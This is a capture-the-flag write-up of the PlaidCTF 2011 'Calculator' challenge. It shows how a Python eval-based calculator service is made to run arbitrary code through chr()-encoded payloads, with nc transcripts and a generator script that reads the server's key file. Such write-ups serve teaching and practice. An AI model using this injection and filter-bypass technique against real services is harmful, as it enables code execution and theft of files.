Write-up - PlaidCTF 2011 - Calculator
by @Jonathan Salwan and @Axel "0vercl0k" Souchet - 2011-04-25Description
AED's summer internship program is notorious for attracting terrible programmers. They've resorted to giving them some of the simplest projects to work on. We expect this service that the latest 'All-Star' intern worked on all summer is no where near secure.
We have a remote service calculation. Example:
jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124 1 + 2 * 3 Welcome to the online calculator. Please enter your expression below. About to Calculate: Calculating: 1 + 2 * 3 Equals: 7 jonathan@ArchLinux [/] $
The service is written in python.
jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124 help() Welcome to the online calculator. Please enter your expression below. About to Calculate: Calculating: help() Equals: Welcome to Python 2.6! This is the online help utility. If this is your first time using Python, you should definitely check out the tutorial on the Internet at http://docs.python.org/tutorial/. Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit". To get a list of available modules, keywords, or topics, type "modules", "keywords", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose summaries contain a given word such as "spam", type "modules spam". help> You are now leaving help and returning to the Python interpreter. If you want to ask for help on a particular object directly from the interpreter, you can type "help(object)". Executing "help('string')" has the same effect as typing a particular string at the help> prompt. None jonathan@ArchLinux [/] $ jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124 globals() Welcome to the online calculator. Please enter your expression below. About to Calculate: Calculating: globals() Equals: {'__builtins__': , '__file__': '/home/calculator/calculator.py', 'brokenSanitizeString': , '__package__': None, '__name__': '__main__', 'main': , '__doc__': None, 'calculator': } jonathan@ArchLinux [/] $
Ok, so, the script launched is /home/calculator/calculator.py. The goal is to execute the python script and display the key.
Some characters are forbidden : ._/="' etc... We need to encode our string. We will send our string with chr() and executes it with eval().
For the first test we will just send import('os').write(1, 'salut') and see the answer.
jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124 eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+ chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+ chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+chr(0x28)+chr(0x31)+ chr(0x2c)+chr(0x20)+chr(0x27)+chr(0x73)+chr(0x61)+chr(0x6c)+chr(0x75)+chr(0x74)+ chr(0x27)+chr(0x29)) salut Welcome to the online calculator. Please enter your expression below. About to Calculate: Calculating: eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+ chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+ chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+ chr(0x28)+chr(0x31)+chr(0x2c)+chr(0x20)+chr(0x27)+chr(0x73)+chr(0x61)+chr(0x6c)+ chr(0x75)+chr(0x74)+chr(0x27)+chr(0x29)) Equals: 5
W00t, the python script has beed executed and print "salut" in the socket. Now we need to display the key.
So, we send : import('os').write(1, open('/home/calculator/key').read())
jonathan@ArchLinux [/] $ nc a9.amalgamated.biz 60124 eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+ chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+ chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+chr(0x28)+chr(0x31)+ chr(0x2c)+chr(0x20)+chr(0x6f)+chr(0x70)+chr(0x65)+chr(0x6e)+chr(0x28)+chr(0x27)+ chr(0x2f)+chr(0x68)+chr(0x6f)+chr(0x6d)+chr(0x65)+chr(0x2f)+chr(0x63)+chr(0x61)+ chr(0x6c)+chr(0x63)+chr(0x75)+chr(0x6c)+chr(0x61)+chr(0x74)+chr(0x6f)+chr(0x72)+ chr(0x2f)+chr(0x6b)+chr(0x65)+chr(0x79)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x72)+ chr(0x65)+chr(0x61)+chr(0x64)+chr(0x28)+chr(0x29)+chr(0x29)) Y0_dawg,_I_he4rd_you_l1ke_EvA1 Welcome to the online calculator. Please enter your expression below. About to Calculate: Calculating: eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+ chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+ chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+ chr(0x28)+chr(0x31)+chr(0x2c)+chr(0x20)+chr(0x6f)+chr(0x70)+chr(0x65)+chr(0x6e)+ chr(0x28)+chr(0x27)+chr(0x2f)+chr(0x68)+chr(0x6f)+chr(0x6d)+chr(0x65)+chr(0x2f)+ chr(0x63)+chr(0x61)+chr(0x6c)+chr(0x63)+chr(0x75)+chr(0x6c)+chr(0x61)+chr(0x74)+ chr(0x6f)+chr(0x72)+chr(0x2f)+chr(0x6b)+chr(0x65)+chr(0x79)+chr(0x27)+chr(0x29)+ chr(0x2e)+chr(0x72)+chr(0x65)+chr(0x61)+chr(0x64)+chr(0x28)+chr(0x29)+chr(0x29)) Equals: 31 jonathan@ArchLinux [/] $
W00t, The key is Y0_dawg,_I_he4rd_you_l1ke_EvA1
Below, the 0vercl0k's script to encode a string.
# -*- coding: utf-8 -*- # By 0vercl0k import sys def main(argc, argv): code = "__import__('os').write(1, open('/home/calculator/key').read())" payload = 'eval(' for i in range(len(code)): payload += "chr(0x%.2x)" % ord(code[i]) if i+1 != len(code): payload += '+' payload += ')' print payload return 1 if __name__ == '__main__': sys.exit(main(len(sys.argv), sys.argv))